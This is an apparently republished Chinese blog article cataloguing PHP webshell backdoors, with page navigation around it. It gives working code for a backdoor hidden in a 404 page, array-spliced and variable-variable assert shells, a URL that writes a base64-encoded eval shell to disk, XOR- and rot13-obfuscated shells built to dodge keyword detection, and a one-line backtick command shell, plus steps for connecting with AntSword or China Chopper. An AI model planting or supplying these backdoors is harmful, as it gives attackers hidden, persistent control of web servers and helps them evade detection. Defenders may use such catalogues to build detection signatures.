前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP WebShell

PHP WebShell

作者头像
Al1ex
发布2021-08-13 15:15:57
2K0
发布2021-08-13 15:15:57
举报
文章被收录于专栏:网络安全攻防网络安全攻防
404页面隐藏木马

404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

代码语言:javascript
复制
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

直接访问——显示定制化的404友情提示:

下面我们使用蚁剑进行连接,在链接时我们需要添加body参数:

之后设置请求信息中的body参数:

之后进行远程连接:

数据拼接PHP后门

具体代码如下:

代码语言:javascript
复制
<?php 
 $POST['POST']='assert';
 $array[]=$POST;
 $array[0]['POST']($_POST['assert']);
?>

assert是php代码执行函数,与eval()有同样的功能,因为array[]、POST[]都是数组,所以array[]=POST,就是把POST数组的值赋给array数组,这样的话array[0]['POST']的输出就是assert,所以组成了一句话木马<?php assert(

之后成功连接shell~

可变变量PHP后门

下面介绍一种通过GET函数构成木马的方法,首先上传一个get.php,文件名与文件内容不包含任何恶意内容:

代码语言:javascript
复制
<?php $_GET[a]($_GET[b]);?>

之后在浏览器中访问(有想知道url具体是什么含义的可以自我base64decode,其实就是打开文件写数据的操作):

代码语言:javascript
复制
http://192.168.174.159:82/webshell/get.php?a=assert&b=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg=='))};

之后可以看到在网站目录下生成了shell.php文件:

之后使用蚁剑链接:

可变变量木马变形
代码语言:javascript
复制
<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/shell.php?2=assert密码是1

异或运算PHP后门
代码语言:javascript
复制
<?php 
    @$_++;
    $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
    $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
    ${$__}[!$_](${$___}[$_]); 
?>

说明如下:

Step 1:"^"为异或运算符。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。 Step 2:

代码语言:javascript
复制
("`"^"?")      01100000^00111111=01011111 —>”_”
(":"^"}")      00111010^01111101=01000111—>”G”
("%"^"`")      00100101^01100000=01000101—>”E”
("{"^"/")      01111011^ 00101111=01010100—>”T”

Step 4:___=("

代码语言:javascript
复制
("$"^"{")        00100100^01111011=01011111—>"_"
("~"^".")        01111110^00101110=01010000—>"P"
("/"^"`")        00101111^01100000=01001111—>"O"
("-"^"~")        00101101^01111110=01010011—>"S"
("("^"|")        00101000^01111100=01010100—>"T"

Step 5:{__}[!_]({___}[_]);————得到_GET[0](_POST[1]);

Step 6:构造一句话木马,将“0”当成参数,赋值为“assert”

Step 7: 使用菜刀工具连接,地址http://ip/b.php?0=assert 密码为1

rot13构造PHP木马
代码语言:javascript
复制
<?php
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
?>

在这里str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

关键名称拼接木马

代码如下:

代码语言:javascript
复制
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>

在php中“.”表示将前后单位以字符串形式拼接 数组g[1]=s, char(116)是t ,gg连起来就是assert 整个一句话为@assert(_POST(get)),直接使用菜刀连接即可:

最短的一句话木马

木马如下:

代码语言:javascript
复制
<?=`$_GET[1]`;

简易解释:"<?="是PHP的一个短的开放式标签,$_GET[1]获取传入变量名为"1"的值,而反引号包裹的内容会被成功执行一次,从而成功构造出一个一句话木马

执行效果:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 404页面隐藏木马
  • 数据拼接PHP后门
  • 可变变量PHP后门
  • 可变变量木马变形
  • 异或运算PHP后门
  • rot13构造PHP木马
  • 关键名称拼接木马
  • 最短的一句话木马
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档